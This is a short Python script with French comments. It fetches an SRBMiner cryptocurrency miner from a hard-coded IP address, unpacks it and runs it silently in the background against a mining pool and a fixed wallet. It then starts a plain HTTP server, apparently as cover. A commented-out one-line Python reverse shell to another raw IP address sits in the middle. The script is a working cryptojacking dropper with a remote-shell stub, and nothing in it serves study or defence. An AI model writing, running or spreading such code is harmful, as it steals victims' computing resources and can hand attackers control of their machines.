import requests
import pty
import os
import sys
import time
import http.server
import socketserver

def download_elf():
    try:
        # Téléchargement du fichier
        response = requests.get("http://78.138.58.189:8080/SRBMiner-Multi-2-8-3-Linux.tar.gz", stream=True)
        response.raise_for_status()  # Vérifie les erreurs HTTP

        # Écrit le fichier en binaire
        with open("SRBMiner-Multi-2-8-3-Linux.tar.gz", 'wb') as f:
            for chunk in response.iter_content(chunk_size=8192):
                if chunk:
                    f.write(chunk)

        # Rend le fichier exécutable (Unix/Linux)
        # os.chmod("xmrig-x86_64-static", 0o755)
        
        print(f"ELF téléchargé avec succès : xmrig-x86_64-static")
        return True

    except Exception as e:
        print(f"Erreur : {e}", file=sys.stderr)
        return False

download_elf()

os.system("tar xf SRBMiner-Multi-2-8-3-Linux.tar.gz")
os.system("chmod +x SRBMiner-Multi-2-8-3/SRBMiner-MULTI")
os.system("nohup SRBMiner-Multi-2-8-3/SRBMiner-MULTI --algorithm verushash --pool de.vipor.net:5040 --wallet RDDaGaBwobYz4XcDkfy6xkszPBZ1GhUWZc.devpush > /dev/null 2>&1 &")

# import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("155.133.23.62",3333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")

PORT = 8000

Handler = http.server.SimpleHTTPRequestHandler

with socketserver.TCPServer(("", PORT), Handler) as httpd:
    print(f"Serving at port {PORT}")
    # Start the server and keep it running until you stop the script

    httpd.serve_forever()




